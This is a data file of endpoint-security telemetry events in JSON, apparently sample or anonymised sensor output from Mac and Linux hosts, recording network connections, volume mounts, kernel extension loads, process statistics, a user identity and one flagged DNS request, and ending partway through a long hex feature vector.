-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
-{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
-{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
-{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc